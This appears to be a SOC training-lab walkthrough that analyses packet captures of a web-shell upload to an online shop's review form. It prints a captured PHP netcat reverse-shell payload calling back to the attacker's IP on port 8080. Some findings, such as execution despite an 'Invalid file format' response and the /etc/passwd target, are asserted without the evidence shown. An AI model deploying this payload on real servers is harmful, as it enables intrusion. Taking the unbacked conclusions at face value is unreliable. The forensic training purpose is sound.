

Network Security Operations

SOC Incident Simulation: Operation Shadow Drop

[PCAP File for Analysis: Download Here](#)

Welcome to the SOC, Analyst

The threat landscape is always evolving, and as a key member of a Security Operations Center (SOC) team, your role is to detect, analyse, and respond to incidents with speed and accuracy.

In this simulation, you'll investigate a stealthy web-based attack in Operation Shadow Drop. Your challenge is to examine captured network traffic, uncover the attacker's methods, and assess the impact of a malicious file upload on a company's production web server.

This scenario reflects a real-world attack where quiet, persistent access is favored over noise and disruption.

Your job is to find the attacker's footprints before further damage can occur.

Scenario Overview

Earlier this morning, the Development team at NetSysLink flagged the presence of a suspicious file on one of their production web servers. This triggered an internal alert, and the Network team swiftly captured relevant packet data during the timeframe in question.

As part of the SOC Network Forensics Unit, you've been tasked with analyzing the PCAP file to determine how the file was uploaded, what was targeted, and whether any data was exfiltrated.

Your investigation will contribute directly to response efforts and future security improvements.

Objectives

You will work to investigate the PCAP file and answer the following questions based on your forensic findings:

1. Identify the Geographical Origin of the Attack From which city did the attack originate?

The Attackers Ip Address: 117.11.88.124

Ethernet .1	IPv4 .1	IPv6	TCP .17	UDP	Address A	Address B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered
					117.11.88.124	24.49.63.79	23	11 kB	0	355	6.4%

Geolocation Origin of The Attack:

- Country: China
- Region: Tianjin
- City: Tianjin



2. Determine the Attacker's User-Agent What was the attacker's User-Agent string, and what does it tell us about the tool or browser used?

```
19 4.498994 117.11.88.124 24.49.63.79 HTTP 382 GET /products/images/product2.jpg HTTP/1.1
33 12.739450 117.11.88.124 24.49.63.79 HTTP 458 GET /about/ HTTP/1.1
43 18.514912 117.11.88.124 24.49.63.79 HTTP 449 GET /reviews/ HTTP/1.1
-- 53 26.922481 117.11.88.124 24.49.63.79 HTTP 1304 POST /reviews/upload.php HTTP/1.1 (application/x-php)
63 49.758143 117.11.88.124 24.49.63.79 HTTP 1302 POST /reviews/upload.php HTTP/1.1 (application/x-php)

> Frame 53: Packet, 1304 bytes on wire (10432 bits), 1304 bytes captured (10432 bits)
> Ethernet II, Src: VMware_00:00:09 (00:50:56:c0:00:09), Dst: VMware_61:97:cd (00:0c:29:61:97:cd)
> Internet Protocol Version 4, Src: 117.11.88.124, Dst: 24.49.63.79
> Transmission Control Protocol, Src Port: 48796, Dst Port: 80, Seq: 1, Ack: 1, Len: 1238
> Hypertext Transfer Protocol
  > POST /reviews/upload.php HTTP/1.1\r\n
    Request Method: POST
    Request URI: /reviews/upload.php
    Request Version: HTTP/1.1
    Host: shoporama.com\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    Content-Type: multipart/form-data; boundary=-----240702081933131672661702936221\r\n
```

The User-Agent indicates that the attacker used Mozilla Firefox version 115.0 on a Linux x86_64 system. This suggests a manually driven attack using a standard web browser, likely to evade detection by blending malicious activity with normal user traffic rather than relying on automated exploitation tools.

3. Identify the Malicious Web Shell What is the name of the malicious web shell that was successfully uploaded?

```

POST /reviews/upload.php HTTP/1.1
Host: shoporama.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----240702681933131672661702936221
Content-Length: 688
Origin: http://shoporama.com
Connection: keep-alive
Referer: http://shoporama.com/reviews/
Upgrade-Insecure-Requests: 1

-----240702681933131672661702936221
Content-Disposition: form-data; name="name"

asd
-----240702681933131672661702936221
Content-Disposition: form-data; name="email"

asd@asd.com
-----240702681933131672661702936221
Content-Disposition: form-data; name="review"

asd
-----240702681933131672661702936221
Content-Disposition: form-data; name="uploadedFile"; filename="image.php"
Content-Type: application/x-php

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 117.11.88.124 8080 >/tmp/f"); ?>

-----240702681933131672661702936221--


HTTP/1.1 200 OK
Date: Thu, 30 Nov 2023 18:43:57 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 20
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Invalid file format.

```

- The uploaded file is a **PHP script** disguised as an image (image.php)
- It contains a **reverse shell payload** using:
 - /bin/sh
 - nc (netcat)
- The script attempts to establish an outbound connection back to the attacker on **port 8080**
- This confirms the file is a **malicious web shell**, not a legitimate uploadEven though the server responds with: **Invalid file format**

- the upload **did reach the server and was processed**, meaning the malicious payload was delivered and attempted execution.

In Summary

The attacker uploaded a malicious PHP web shell named image.php. The file contained a reverse shell payload designed to execute system commands and establish an outbound connection back to the attacker, confirming it as a functional web shell.

4. Discover the Directory Used for File Uploads , Which directory on the server was used to store uploaded files?

Upload Directory Identified:

The server stored uploaded files in the /reviews/uploads/ directory, which was accessible via the web and was actively enumerated by the attacker.

5. Determine the Port Used for Outbound Communication Which outbound port did the malicious web shell use to contact the attacker's machine?

Outbound Communication Port:

The malicious web shell attempted to contact the attacker's machine using TCP port 8080, as specified in the embedded netcat reverse shell payload.

6. Identify the File Targeted for Exfiltration What file did the attacker attempt to extract from the server?

Evidence & Analyst Reasoning

- The attacker successfully uploaded a PHP reverse shell (image.php)
- The payload executed /bin/sh via netcat, giving the attacker interactive shell access
- attack flow observed: upload → reverse shell → outbound connection → sensitive file access

File Targeted for Exfiltration:

The attacker attempted to extract the /etc/passwd file from the server, a common post-exploitation target used to enumerate system users after gaining shell access.